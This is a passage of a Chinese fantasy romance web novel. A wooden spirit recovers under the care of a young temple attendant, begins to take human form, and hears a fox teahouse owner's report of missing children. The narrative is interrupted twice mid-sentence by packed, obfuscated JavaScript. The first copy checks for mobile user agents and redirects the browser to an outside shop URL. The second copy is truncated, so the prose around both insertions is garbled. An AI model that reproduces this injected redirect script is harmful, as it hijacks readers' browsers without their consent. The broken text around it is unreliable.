归笙顿时大感泄气:看来又只能干等了。 归笙因无法透题而蔫嗒嗒的,落在清伽眼中,又是另一回事。 “嗯……你提醒我了。” 清伽伸手一拂,某种元魂的牵系便忽然断了。 “你是有完整灵智的,窥探你心中所想,太不尊重你了。” 清伽笑着,点了点归笙的……姑且算是额头,道:“已经切断了,所以不要难过了,不利于长好身体。” 归笙怔然。 “不过……” 清伽向外推了推花盆,让归笙能更好地沐浴阳光。 “你受伤太严重了,就算我再怎么给你灌髓华,你的肉身能不能恢复如初,又能不能重新化出成人形,真的不好说。” 他说着,掌心又落下一泓浩瀚温柔的髓华,将归笙包裹其中。 那些潜藏在躯壳中的、曾经崩毁的痕迹,在这泓髓华的治愈下,如枯木回春般,虽然细微迟缓,却真真切切地修复着。 清伽温声道:“所以,我尽力救你的同时,你自己也要加把劲。” 归笙却有些走神。 不知是不是她的身体好转了不少,她对髓华的 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幼年的清伽在散学后好歹还温习一下课业,眼前的这个清伽却时时刻刻两袖清风,两手空空,和其他一众灵侍抱着咒卷在寝院学堂进进出出的对比异常惨烈。 而在这样规律的日常中,更规律的是清伽每次路过归笙,无论正在做什么,哪怕马上听学诵咒要迟到了,他都会走过来,仔细地将她检查一遍。 大多数时候,他检查完都是赞许地点点头,夸一句:“长得真好。” 只有偶尔才会神色严肃,评价一句:“好像有点长歪了。” 然后顺手就拿来刻刀,把歪掉的地方轻轻磨回原处,又或是发现她哪里又裂开了,放出髓华,替她修修补补。 他就像悉心养着一盆濒死的花朵,适时给她灌溉髓华,不时修剪旁逸斜出的枝杈,以期这朵花能够重新恢复健康,并且越长越好。 归笙由衷地思索:这人是不是真的太无聊了? 她真的很想问他:无聊的话,修炼不好吗? 她不信莲华殿的初代灵主会如此玩物丧志,否则也不会成为妙慧灵祖口中的古今第一人,所以,她更倾向于这是清伽自己的心念举止作祟,才会成日无所事事地沉浸在修炼之外的杂事里。 归笙不禁忧心忡忡:他这样悠哉游哉下去,把灵主的人生轨迹走歪了,会不会考了一半就被往生镜轰出去啊? 那境中之境就没了呀! 不行,作为伴考,她得委婉地提醒他一下。 之前,由于她的砂笙形态说不了话,只能发出呼呼呜呜的砂笙乐音,清伽又切断了灵怪与主人间的联系,于是他们达成了一个协议:当她想表达什么的时候,便狂摇脑袋上的叶子,他看见了,会短暂地接回联系,等一人一怪沟通完再断掉。 于是在一个晌午,归笙摇起了脑袋上的叶子。 清伽本来在旁边的躺椅上闭目养神,也不知是眼皮太薄还是怎么的,归笙刚摇一下,他就一阵风似的飘了过来:“怎么了?你有话要对我说吗?” 归笙:……为什么你看上去期待了好久的样子? 清伽笑吟吟答:“因为我很无聊啊,有人……有怪陪我说说话,再好不过了。” 归笙于是委婉地开门见山说:既然无聊,你去修炼不好吗? 清伽摇了摇头:“不好啊,再不放水等等我那些同僚的话,我就真的要被定为灵主候选了,我受不了,会累死的。” 归笙:…… 归笙感到不可思议:所以,你是真的不想当上灵主? 清伽奇怪地道:“我救下你的当天晚上,你没听到我说的那些话吗?” 归笙:我以为你是故意那么说气他们的。 清伽道:“我气他们干嘛?他们学不明白莲华境那么简单的东西就已经够可怜了,我不过实话实说罢了。” 归笙:…… 莲华境学得稀烂的归笙沧桑地转过了身:你暂时不要和我说话了。 她需要默默消化一下被贴脸炫耀的怒火。 然而引发她怒火的人却还在一个劲地叭叭:“真厉害,你都能转身了。” 归笙:如果木头的额角也有青筋的话,这会儿应该已经蹦得不行了。 归笙愤怒地蹦了一下身体,将花盆里的两滴泥点子溅到了那张可恶的笑脸上 清伽丝毫不生气,也没管自己脏兮兮的脸,含着笑伸出手,一点点把被归笙蹦塌了的土面抚平。 他道:“当灵主要随时待命,帮别人处理反噬,还要每天跑到镜界去照看煌星木,太累太麻烦了,我做不来。” 又拨了拨她脑袋上的叶子,轻笑:“如果非要对着木头的话,煌星木又不会说话,你可比它有意思多了……我终于明白我那些同僚为何人手至少一只灵怪了,养起来真的还挺好玩的。” 怎么,养灵怪还是三百年前的莲华殿的风潮吗? 归笙自然而然地想到了那个初代灵主“淫|虐灵怪”的传言。 当然,这个想法被往生镜给隐去了。 清伽毫无反应,一心一意给她擦净叶片上的灰尘,又给她头上洒了点水。 归笙看着他的举动,默默地想:如果那传言是真的,照清伽这个养灵怪的方法的话,大概已经将初代灵主这部分的轨迹拨向正道了。 清伽忽然问:“你怎么突然不说话了?” 归笙回神,敷衍答:因为在生气。 清伽感兴趣道:“生什么气?” 归笙:合理怀疑你选我这个灵怪养,是因为养木头很省事。 清伽想了想,道:“如果我说不是的话,是不是有些虚伪?” 归笙木然:是。 清伽眼眸弯弯:“那我就不说了。” 23. 化人形 初步适应了境中之境的生活后,归笙开始心痒难耐了。 原因无他,只因她这副残缺的木头身体恢复得不错,已经可以在花盆里做出包含但不仅限于转体、蹦跳、后空翻等一系列高难度动作了。 如此说明,她是不是也能适当地出门透透气了?至少被清伽抱在怀里走出去时,不会被颠颠颠地震碎了。 归笙决定对清伽提出她的需求。 于是又在某天的晌午,得知清伽下午没有莲华殿的课业后,归笙主动表示:我好无聊啊。 清伽趴在她旁边午休,闻言揉了揉眼睛:“嗯?” 他休息时都会将联系接上,方便她有急事时叫醒他。 归笙:我说,我整天都呆在这个窗台上,真的好无聊啊。 清伽心领神会:“你想出去转转?” 归笙:嗯! 清伽没有意见:“好啊。” 他毫不拖延,当即连归笙和花盆一起抱到怀里,完全不在意掉落的泥屑在他白色的衣服上蹭出黑乎乎的泥印子。 清伽抱着花盆向外走,戳了戳她脑袋上的叶子,道:“但是,暂时不能走得太远。” “其实,寝院里有我为你设下的修复咒术,所以你虽然能在窗台上活蹦乱跳,但一出寝院,失去了咒术护养,很可能就蔫了。” 归笙:怎么可能,你一定在骗…… 话没说完,清伽踏出了门槛。 归笙顿时感觉被人暴打了一顿,转眼就在花盆里萎靡不振。 清伽:“嗯?你刚刚说什么?” 归笙:…… 清伽停下脚步:“你还好不?要不要原路返回?” 归笙顽强地呻吟:我可以。 清伽尊重她的顽强:“那好吧。” “那我就带你在莲华殿里四处转转吧。” 之后的路上,归笙切身体会了一把何谓万众瞩目。 毕竟在一众抱着厚厚咒卷的灵侍里,抱着一个花盆的清伽实在是太显眼了。 而且与前者的精疲力竭,仿佛被莲华境掏空的模样相比,清伽的容光焕发也太招人恨了,导致归笙听了一路咬碎银牙的咔嚓声。 正当归笙忧心忡忡会不会有灵侍走火入魔,以为清伽在挑衅自己,心生报复之意,从身后给他来上一下时,她被前方的一道身影吸引了注意。 那是一个乌发齐肩的青年。 他不知道从哪里走过来的,忽然就挡在了她和清伽的面前。 倒也是十分眉清目秀的一副样貌,有让人一眼看了便舍不得挪开目光的本钱。 然而那一对天生的下三白眼,再搭上望来时不善至极的目光,便将这清秀的样貌挤兑得只剩了刻薄相。 归笙的视线从青年的脸上滑下去,掠过他那一袭料子极其稀奢的制服,然后定格在了他胸前垂挂的一枚……钥匙上。 不及细看,她就被那钥匙散发出的光芒刺得闭上了眼。 这人好端端的,挂这么一把光芒闪耀的钥匙在胸口干嘛? 青年浑然不觉自己的挡路,也浑然不觉自己项链的闪耀,向清伽怀里的归笙投来一眼,随即发出一声冷嗤。 “听说你得了失心疯,抱着个脏兮兮的花盆满莲华殿跑,我就来看看。” 他斜眼睨看清伽,满含轻蔑地道:“你跟风也不跟得像样点,别人养灵怪,都养奇花异草、狮虎熊豹,再不济也是上品的牛蛇马羊……而你,你就养这么一根破烂木头?你是穷疯了吗清伽?” 归笙:…… 不是兄弟,你说谁破烂木头呢? 要不是她在镜子里亲眼确认过她这副砂笙形态有多精巧多漂亮,她还真就被打击到了呢!! 清伽将气愤的归笙拢进袖子里,安抚地拍了拍。 随即他抬头,对那青年微笑道:“真诩,你今日的课业做完了吗?就开始惦记起我家的木头来了?这么闲的话,不如想想三日后的考核,怎么把你的等次再提高一位,也省得一众同僚说你名不副实、暗走捷径的闲话。” 说完,他就目不斜视地从真诩身旁走过。 走出老远,归笙还能听到那些灵侍的窃窃私语。 “养的居然是木头灵怪……他可真是个怪人啊!” “他不一直是个怪人?处处标新立异,生怕别人不知道他有能耐似的。” “真诩,其实你也不必针对清伽,虽然三年后的祈灵祭典上,你们之中只有一人能成为灵主,但我看呐,他那人根本懒得争。” 真诩冷笑:“那是自然,他出身低贱,自然无甚追求,呆在莲华殿也不过混一口饭吃。” 归笙听了,对这位真诩的想法感到奇怪:那清伽要是奋发图强了,与你争夺灵主之位,你不会更加不高兴吗? 不过对于清伽没什么追求、混吃等死的评价,她倒是略有苟同。 因为这些时日里,清伽的所作所为实在是太贴合这一评价了。 听学时能迟到绝不按时到,必须按时到则绝不早到。 诵咒时能躺着绝不盘腿坐着,能盘腿坐着绝不站着。 能糊弄过去的事务绝不上心,需要上心的事务就坚决点到即止。 每日散学后回到寝院,打死他也不会再碰和莲华境有关的修炼一下。 导致归笙几乎产生了一种错觉:清伽除了摆弄他的那些木雕,每天最乐意的事情,便是搬个躺椅到她的花盆边,躺下去闭目养神,和她一起吸收日精月华,时不时睁眼给她修剪两下,探查一下她的髓脉恢复状况,然后继续躺回去。 事实上,闲暇之余,清伽也确实都是这么度过的。 甚至随着她恢复得越来越好,他捯饬木雕的时长也减少了,每天一闲下来就围着她走来走去,惊叹连连,絮絮叨叨。 着实是个怪人。 收回思绪,归笙晃了晃脑袋上的叶子。 清伽把她从袖子里端出来:“怎么了?” 归笙:刚才那个叫“真诩”的人地位很高吗?他怎么穿得比你好那么多? 清伽眨了眨眼:“不出意外,他就是莲华殿的第一任灵主了,手头自然比我宽裕许多。” 归笙:那看来是出意外了。 这句嘀咕照例被莲华境拦截,清伽没有收到。 归笙又问:他挂在脖子上的那把钥匙是什么?好漂亮,是饰品么? 清伽:“是煌星木所在镜界的通行契。” 归笙一愣,旋即匪夷所思:他这还没当上灵主呢,就享有灵主的职权了?你们莲华殿的管理也太随意了吧! 她一激动就嗡嗡个不停,清伽被她逗笑:“这个嘛,有点复杂。” 他摸摸她的木头脑袋,如同提前把她的脑筋理顺,防止她被接下来的话绕进去。 “每一代灵侍晋升到最后,如果没有走火入魔身亡的话,其中的一部分要么离开莲华殿退隐,要么就会成为莲华殿的长老,辅佐灵祖分管不同的事务,也就是我们这些灵侍的上峰。” “刚才的那个真诩,他家族里的所有人都是莲华殿里颇有地位的长老,在莲华殿的话语权和影响力都非常大,再加上灵主的结果也没什么悬念,灵祖便也就顺水推舟,提前把通行契交给他了。” 归笙:原来如此。 清伽又补充道:“不过真诩自己也挺争气的,次次莲华境考核都稳居第二,也算是不负众望吧。” 归笙木然:好了我知道你次次稳居第一了,你想要夸奖可以直说的。 清伽笑道:“我也不想的。” 又低下头来,清润的眼眸流光溢彩,直言邀请她道:“那你夸夸我吧。” 归笙:…… 被那双满含期待的目光撩拨着,归笙没能扛住,又觉得没扛住的自己十分窝囊,遂以一种报菜名的麻木道:你……你心地善良、天资卓绝、勤奋刻苦、胸怀大志……你满意了吗? 清伽满不满意不知道,反正他笑了一路,笑到最后都开始咳嗽了,咳得险些背过气去,吓得路遇的灵侍差点去给他叫医修。 归笙:…… 有时候她真的觉得,不管自己做什么,在这家伙的眼里都是好笑的。 只是不知道这究竟是出自清伽的本心,还是出自初代灵主残魂的余念了。 归笙倾向于后者,因为根据她和清伽的交集,无论是现实里的灵主清伽,还是第一重莲华境里的清伽,在她看来,都不是这么个乐天派的人。 所以,他自从进入往生镜后性情大变,大概只能用受初代灵主残魂影响来解释了。 而且除了性格,清伽如今对于灵主之位避之不及的态度,归笙也认为是初代灵主的残魂作祟。 毕竟她认识的清伽,一个已经当上了灵主,一个顺其自然即将成为灵主,都没有对这个位置展露过明显的喜恶。 不过,既然是重走初代灵主的人生轨迹,这个往生镜中的清伽最后肯定还是会当上灵主的。 想到此处,归笙不禁万分好奇—— 当年是有什么契机,让初代灵主改变了态度吗? 到底是发生了什么样的事情,才让他决定从那个叫真诩的青年手里,夺下了对方已几近收入囊中的灵主之位了呢? 就这样,归笙怀着静待揭秘的心情,坚强地熬着往生镜中的岁月。 值得振奋的是,她发现“境中之境”的缺陷开始起效了! 最初察觉到异常,是某一天清伽觉得她兴致不高,理由是她那天只说了九十九句话,居然没有过百,于是非要捧着她出门散心。 他还非常冠冕堂皇地说:“你恢复得非常好,所以这次可以跑远点,我们去莲华殿外逛夜市吧。” 归笙:其实就是你自己想溜出来吃街边的烤串吧! 她发出这句鄙夷的辣评时,清伽正将一串麻辣烤鱼送到自己的嘴边。 听到归笙的辣评,他停下手,眼眸弯弯,转而将烤鱼怼到她跟前。 清伽柔声道:“你还没长出嘴,暂时吃不了呢,先给你闻闻,解解馋吧。” 这是人话吗? 归笙怒道:拿远点!熏死我了! 其实是馋死她了。 自从变成这个破木头形态,每天光晒太阳也能饱腹,归笙已经记不清自己有多久没吃上一顿色香味俱全的饭了。 等她破了这倒霉莲华境,一定要好好补偿自己! 被她拒绝,清伽反而欣慰地笑:“看来你的嗅觉也恢复了,真厉害。” 说完,他拿开烤鱼,自己也不吃,而是一记咒术抹干净了烤鱼表面的辣粉,又俯下身,将其递给了地上一只路过的黑猫灵怪。 夜市上人来人往,饭菜飘香,有不少灵怪化出原形,拖家带口地出来觅食,也有许多能得到好心修士的投喂,因而清伽的举动并不算突兀。 不成想,那黑猫灵怪竟像是被吓了一大跳,猛地抬头。 看到清伽的面孔时,那对憔悴充血的竖瞳瞬间被惊惧的情绪斥满。 黑猫一头将那条烤鱼撞得飞了出去,一瘸一拐地逃入了熙攘的人流。 清伽顿了顿。 归笙也惊愕不已:那只灵怪受伤好严重啊。 尤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745432|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其是下腹部,毛发近乎掉光,露出皮肤上青一块紫一块的伤淤,混杂着干涸的血迹。 这是遭了虐待,所以对人族应激了吗? 归笙眉头紧皱,循着地上一串带血爪印的来处望去。 在灯火喧嚣间,她影影绰绰,望见了远处一座金碧辉煌的楼宇。 清伽不动声色地放出髓华,将那串带血的爪印隐去。 他抱着归笙转身,挡住了她的视线,若无其事地道:“我们该回去了。” 归笙却从清伽的臂弯里一跃而起,跳到了他的肩上。 她没有看错! 归笙“站”在清伽的肩上,望着那座远处的楼宇,双目炯炯,精神振奋。 那座楼宇之所以“隐隐绰绰”,不是因为光线太暗,也不是因为她眼神出了问题,而是它根本就只有一个大致的轮廓! 不仅如此,在楼宇下方的那些游人、摊铺、树木,只能依稀分辨出是些什么东西,其他的细节,如游人的表情、摊铺上的摆设、树木的品种,都像笼在了一团白色的雾气中,看不分明。 莲华境的法力,已经不足以将这个“境中之境”的每一个细节都为她展露无遗了。 莲心开始撑不住了! 意识到这一点,归笙欢欣鼓舞地跳回清伽的手心,满脑子都是见到破境曙光的兴奋。 虽然她确实对这位初代灵主非常好奇,但比起知晓当年的真相,她更在乎的,还是能尽快破出莲华境,去北原寻找师母的下落。 现在唯一的顾虑,就是清伽会不会在莲华境崩溃前完成考验了,那样就没法用境中之境消耗莲心了。 不过以清伽目前这个还半点不想和灵主之位沾边的进度,往生镜的考验短时间内应该是结束不了了。 “在想什么,这么开心?” 脑袋上的叶子被轻拨了下。 归笙随口道:在想我的五感已经恢复全了,很快就能化出人形了吧。 清伽摸摸她的脑袋:“是啊,我都没想到会这么顺利,你真是太厉害了。” 说话间,一人一怪正好路过一间成衣铺,清伽脚步一停。 他低头询问她的意见:“要不要提前给你买些衣裳准备着?” 归笙委婉地表示:也不至于这么急吧。 而且这间成衣铺里的衣裳她感觉清伽买不起啊。 清伽想了想,道:“也是,买了要是不合适就麻烦了,等你化形了再说吧。” 归笙:嗯嗯。 然后她就知道,有些事情确实是需要急一下的。 因为真的发生得很突然。 这天,归笙从迷迷糊糊地午间小憩中醒来。 入眼却不是熟悉的窗外之景,而是叠得赏心悦目的雪白被褥。 ……对了,方才外头下雨,又刮风又闪电的,清伽就把她放到床头来了。 睡意仍未退尽,归笙无意识地偏过头。 清伽倚在榻头,盘腿坐着,尚未醒来。 他褪了外衣,中衣素净服帖,勾勒出清瘦而有力的身体线条。 襟口微深,冷白的起伏与块垒半遮半掩,让人很想上手去揉搓,一试软硬。 归笙看晃了神,也就没留意自己后脑勺下不寻常的触感。 也许她的目光过于放肆,睡着的人被她硬生生看醒了。 那双纤长的眼帘缓缓掀开,似墨色的蝴蝶翕颤着振开翅翼,密密绮丽,动人心魄。 归笙无意识地喃喃:“睫毛真长。” 清伽打了个呵欠,眨了眨眼:“你喜欢的话,也给你做一副?” 归笙:“我不要,木头做的睫毛真的不会一眨眼把我自己扎瞎么……” 等一下。 刚刚谁在说话? 归笙猛地从清伽的腿上弹了起来,同时肩头有什么滑了下去。 她定睛一看,正是清伽那件消失的外衣。 他的外衣怎么会披在她肩上…… 慢着,肩? 归笙霍然低头,又惊恐抬头,伸手就要将那件滑落的外衣捞回来。 然而捞到一半,她赤条条的手臂便凭空消失了。 整个人亦急遽缩小,“噗”的一声变回砂笙的形态,从榻沿摔下了地。 “当啷”一声,归笙摔得头晕目眩,却重重松了一口气。 还好还好,变回不用穿衣裳的原形了…… 清伽含笑俯身,托起掉在地上的归笙,掸去她身上沾到的灰尘:“恭喜恭喜,你可以化出人形了,就是还不太稳定,好像没法想化就化。” 他安慰地拍拍手里疑似因着急而急剧升温的砂笙,鼓励地道:“慢慢来,不要着急,你已经做得很好了……你看,摔了这么一下,你这身体都没裂开,说明你这副原形恢复得很稳定了,化出稳定的人形指日可待。” 归笙:不,我不是因为着急才升温的。 清伽将通红的归笙放回床头,又扯来被角给她盖着:“你接着休息吧,我得出门了。” 归笙一顿。 自从那天莲华境出现破绽,她又仔细观察了好几天,眼下正有个加快破境的猜想亟待印证。 她得跟着去。 于是归笙猛一翻身,拱进了清伽的手心。 清伽摸摸她道:“我该去坊间诵咒了,等回来再陪你玩,好吗?” 归笙:一段如泣如诉的幽怨伤感之音。 清伽:“嗯?你想一起去吗?” 归笙:一段兴高采烈的慷慨激昂之音。 清伽莞尔,将她合进手心:“那走吧。” 24. 绘皮相(上) 坊间诵咒,是莲华殿与西漠坊间万灵维系交流的一项固定事务。 其过程并不多高深,主要就是派灵侍进入千家万户,以莲华境的咒术满足城民各式各样的要求。 比如除尘咒,最初是编来帮人打扫屋子的;捕鼠咒,帮人逮老鼠的;回春术,帮人救活家里死掉的盆栽的……有时灵侍根据主人的要求,找不到对应的术法,还需要当场自创对应的咒术。 这正是为何莲华境的术法体系下,会有那么多稀奇古怪的咒术的原因。 而诵咒只是一方面,更重要的另一方面,灵侍需要观察所派到的坊间状况,与接触的城民沟通交流,当场写一份目记,主要记录观察所见,以及城民对莲华殿有何诉求等,回到莲华殿后再将这份目记上交。 清伽此行的目的地,是位于主城南部的一家狐茶坊。 之所以叫这个名,是因为茶坊里的伙计都是同一族群的狐狸灵怪化形,他们的族群聚居在西漠南部的一座山上,山上茶树丛生,品质极佳,其祖先便因势利导,在主城开了一间狐茶坊,世代传承了下来。 如今,茶坊的主人是一只上了年纪的赤狐,坊里的狐狸都叫她“姥姥”。 一人一怪刚到了地方,便有眉目秀丽的狐狸小厮为清伽呈上来一盏茶。 归笙情不自禁地被那小厮毛茸茸的耳朵与尾巴吸引了注意。 蓬松柔软,一摇一晃,看得她砂笙形态并不存在的手幻痒了起来。 砂笙朝前蹦跶了两下,想更近地欣赏一下美色,却猝不及防地被一阵晕开的清香勾走了魂。 归笙循香回首,就见是清伽揭开了茶盏的口盖,附唇尝了一口。 尝完,他搁下茶盏,不吝赞美:“人间至味。” 归笙幽幽怨怨地瞪他:这人就是故意的! 明知她的砂笙形态没有嘴,品不了茶,还故意正对着她喝,故意眯起眼睛做出一副很享受的样子! 更可气的是,他那副心醉神迷的模样分明矫揉造作得要死,但由他那副做什么表情都十分动人的眉眼做出来,偏就很有说服力! 好在清伽还有点残存的人性,捉弄完目光乱跑的木头灵怪后,便主动买下一盒茶包,又摸摸她的脑袋,鼓励并展望道:“回去化出人形就泡给你尝尝,等之后再稳定些,能出门了,还可以带你来尝现沏的。” 归笙这才稍稍消气,撞了下他的手心泄愤。 呈完茶,迎客礼节结束,清伽将归笙放在一旁的座椅上,随后就开始和赤狐姥姥谈正事了。 赤狐姥姥一开口便哽咽了:“灵侍啊,老身不麻烦您诵什么咒,只希望您能回去,拜托莲华殿调查一件事情。” “近些时日,茶坊里的狐狸崽子离开了许多……虽然也都留下书信,只是说离开西漠主城,回山里呆一阵,但我这心呐,总是突突突地跳,总觉得哪里不大对劲……果不其然,送信回山询问情况,族里却回信并未见到这些崽子……” “老身禁不住想起隔壁开渔具的老猫家,一对夫妻是苦命灵怪,幼时流浪走到一起,身体都不大好,盼星星盼月亮盼来了两只小猫崽,老身是看着他们一家慢慢好起来的……结果一年半载前,两只小猫崽忽然双双失踪,直到前些日子,公的那只小黑猫被发现死在家门口,全身上下没一块好肉……两口子当场就疯了,如今也不知去向……我真怕哪天早上一开门,也看到我们家的狐狸崽子也……” “对了,还有城西卖糕点的那家……” 赤狐老泪纵横,讲述的类似事件一桩接着一桩。 清伽听着,逐渐眉头深锁,神情凝重,一字字提笔记下。 说了片刻,狐姥姥情绪波动太大,一时说不动了,提出得缓一缓再继续。 在她抹泪歇憩时,清伽回头看了眼,当即一怔。 椅子上的砂笙不见了。 与此同时,茶坊二楼,茶坊伙计的休憩间内。 归笙不明白事情是怎么发展成这个样子的。 她本来在椅子上呆得好好的,正准备和清伽一起听赤狐姥姥的讲述。 结果赤狐姥姥说了没两句,她就嗅到了一阵旖旎的香风。 ……意识再度回笼时,就是眼下的状况了。 “哎呀呀,好漂亮的一只砂笙灵怪呀……不对,是木头灵怪雕刻成砂笙的样子?” “太厉害了,这是哪家木匠的手艺?瞧这花纹,比鱼鳞还来得精细,那木匠是不是雕完眼睛就瞎了?” “小木头,小灵怪,你会不会说话?唱首曲子给姐姐听听?不会唱曲子也没关系,来让姐姐亲一口……” 十几个狐狸化形的姑娘围着归笙,争先恐后凑到近前,观赏把玩这只漂亮的木头灵怪,无一不爱不释手,赞美声声。 万般艰难中,归笙勉强攒起所剩无多的神智,定睛一看。 果然,她的猜想没错。 站得离她最远的那名狐狸姑娘领口处的水晶扣子,被一片指甲盖大小的白雾遮住了。 这些狐狸姑娘个个头戴金钿珠翠,身披绫罗绮缎,单拎出来一个都足够令人眼花缭乱,何况十几个一齐出现,值得观赏的细节可谓灿若繁星。 而归笙的猜想正是:如果一个场景中细节太多,如今的莲华境就只能舍远保近。 那天她第一次发现莲华境开始崩塌,正是因为夜市上车水马龙,人流如织,莲华境需要呈现给她的信息庞杂巨量,而剩余的法力又不足以支持巨细无遗,所以直接在构建远处的场景时敷衍了事。 归笙当即暗暗决意:以后要多多敦促清伽带她出门,带她到人多的地方去,逼迫莲心多多呈现细节繁多的场景,加快消耗她的法力! 正事想完了,归笙攒起的精神骤然一垮,方才被下的术法更加猛烈地卷土重来,将她的脑袋搅成了一团糨糊。 眼前,一张沉鱼落雁脸后是一张闭月羞花的脸,归笙木讷的眼睛应接不暇,稀里糊涂的脑袋迟钝地运转了一下:不行,得用人形的眼睛,那样看得更清楚些,方才不辜负这份花团锦簇的美景。 该说不说,这具不稳定的身体,有时还挺言出法随的。 “噗”的一声后,狐狸姑娘惊叹:“哇!这木头灵怪化人形了……” 又戛然转为惊愕:“姥姥呀!这是个什么东西?” “原形那么精巧,人形怎么丑成这样?!” 望着化出潦草人形的木头灵怪,一众狐狸姑娘顿觉被狠狠玷污了眼睛,恨不得拎起桌上的茶壶,对准自己的眼眶猛灌茶水。 归笙瞬间从一只狐见狐爱的香饽饽,变成了一只狐嫌狐憎的烫手山芋,被狐狸姑娘们嫌弃地传来传去,活似击鼓传花的那朵花。 “不过这灵怪的皮相还未定形,丑成这样倒也正常……我记得当年你才化出人形时,不也一整个歪瓜裂枣么?” “……去去去!休要诬陷我!姑娘我天生丽质!” “谁诬陷你了?给你绘制皮相的就是我娘呀!我全程在旁边看着的,要我给你形容你当时的……” “姑奶奶我求你别说了闭嘴!” 嬉笑打闹间,不知是谁的手一滑,归笙一个原地起飞,飞到了半空。 一只赤狐轻捷地跳上来,一口叼住归笙的后颈,笑骂其余人道:“一个个不识货的,把这只木头的人形打散,让她永远都只能是灵怪形态不就行了?” 骂完,赤狐落到地上,化出人形撒腿就跑,边跑边咯咯娇笑:“这只灵怪是我的了……哎呦!疼!” “咚”的一声,赤狐与一人撞了个正着。 赤狐捂着脑袋愤怒抬头,骂道:“哪个走路的不长眼睛呀……呜!” 话音未落,她喉咙骤紧,如被一只无形的手扼住提起,双腿悬空。 嘴巴不自觉松开,嘴里的木头灵怪瞬间被人夺走。 赤狐一惊,视线仓皇一抬,正撞上一双冷沉的眼睛。 “狐狸姑娘,你这是打算把我家的灵怪拐到哪里去呢?” 面前的青年温和有礼,眼底却殊无笑意。 赤狐不由打了个寒战,认出这是莲华殿的灵侍,下意识地想要求饶。 却又瞟见他臂弯里圈着的、被他用外衣裹好的木头灵怪,仍是不甘心地咬了咬牙。 她眸中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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视野中,赤狐姑娘的芳影消失不见。 取而代之的,是一张难得有些不快的脸,比赤狐姑娘还来得好看。 只是这美人眉心微蹙,着实让人揪心。 归笙晕晕乎乎地,探手在这张脸上摸了摸:“美人,怎么生气了?” 又捏了捏那紧抿的唇角:“来,别生气,笑一个。” 清伽:“……” 清伽屈指,在归笙脑壳上一弹:“还不清醒?” 归笙痛叫了声,这下彻底醒了。 她弱弱缩回了自己胡作非为的爪子,搭在耳朵上,迟疑地道:“刚刚我好像听到……” 清伽笑道:“为你现编的清心咒,效果还不错吧?” 归笙一愣。 “灵侍!手下留情!” 一道苍老而急切的嗓音蓦地从楼梯道传来,正是赤狐姥姥。 原来他二人光顾着说话,没注意地上的赤狐哭叫了半天,一楼的赤狐姥姥被惊动,踉踉跄跄地跑了上来。 方才灵侍一下子就消失了,她还以为有什么急事,结果一见眼前的状况,她还有什么不懂:她那小孙女顺手牵羊的毛病又犯了! 这回更是胆大包天,牵到莲华殿灵侍的头上了! 好在灵侍没过多计较,一见她来求情,便收了压在赤狐背上的莲座。 “灵侍,你也忒小气了罢!” 小狐狸骂骂咧咧地从地上爬起来,哼哼唧唧地躲到自家姥姥身后,又不甘心地探出半个脑袋来,妩媚的眼波仍止不住地往归笙身上溜。 清伽适时捂住了归笙的眼睛。 赤狐见故技重施不成,登时火冒三丈。 她气呼呼地道:“灵侍,你怕不是忘了?灵怪本就是有奶便是娘,谁给髓华便跟谁跑的!就算化了人形,也注定是情丝迟钝不开窍,轻薄桃花逐水流,绝不会从一而终的……毕竟咱们灵怪天性里就没有人族那种忠贞的观念!” “你拘得了她一时,还能拘得了她一世?我不拐她,迟早有人拐!” 赤狐对清伽做个鬼脸,阴阳怪气地道:“您可要同今日一样,时时刻刻看紧咯!” 清伽但笑不语,狐姥姥则一把将小狐狸抽到身后,战战兢兢地赔笑:“灵侍莫怪,莫怪!老身这孙女寻常被娇养惯了,口无遮拦,净说浑话,您切莫同她一般见识……” 清伽:“自然。” 25. 绘皮相(下) 混乱的插曲告一段落,之后,便是赤狐姥姥把方才没讲完的事件继续讲完。 不过这一回,清伽是一手在案上写字,一手将归笙圈在腿上坐着,看得暗中伺机而不得的小狐狸牙痒痒。 搁笔的同时,归笙也“噗”的一声化回了原形。 清伽穿回外衣,将归笙在袖子里放好,同赤狐姥姥告了辞。 归笙听到赤狐姥姥道:“灵侍,今日真是万分对不住,你且收下这个,权当老身代孙女赔罪了……” 归笙听得有些好奇,然而当她从袖口探头出来看时,那东西已经被清伽收进了乾坤袋。 归笙转念一想,赔罪嘛,大概是送了些坊里茶叶吧,便也不多纠结。 一人一怪出了狐茶坊,清伽撑起伞,踏入斜织的雨幕。 走了一阵,他单手将归笙捧出来:“你有话要说?” 归笙停止晃动脑袋上的叶子,点头如捣蒜:你是不是生气了? 清伽:“没有。” 归笙戳穿道:你有!你话都变少了。 清伽笑道:“真没有,只是这一路上的成衣铺全都因为下雨提早关门了,我在苦恼你今夜再化出人形,还得委屈你穿我的衣裳可怎么办。” “再说了,我生什么气?” 清伽摸摸她的脑袋,笑眯眯道:“赤狐姑娘说得也没错,我要是养了个喜好美色的木头灵怪,哪天跟人跑了,也只能怪我自己年老色衰,留不住怪呀。” 归笙:……这阴阳怪气的,果然还是生气了吧! 也能理解,自己费尽心思救活的灵怪,一个迷魂术就跟人跑了,险些跟别的人潇潇洒洒红尘做伴去了,饶是他脾气再好,肯定也是会感到郁闷的。 归笙想了想,从清伽的掌心一跃而起,跳到他肩头。 她身子一歪,用力贴了贴他的脸颊,郑重承诺道:“我发誓这是第一回也是最后一回,除了没有反抗之力的情况,我绝对不会离你……咦?” 清伽将她捧下来,碰了碰她嗡嗡发声的地方,眉眼柔和:“恭喜你,可以用砂笙的形态说人话了。” 归笙悄摸端详了下他的神色,松了口气。 这人还挺好哄。 把人哄好了,归笙便重新钻回清伽的袖子,懒洋洋打盹去了。 才要睡着,淅沥的雨声中忽而掺进几声异响。 归笙遽然一个激灵。 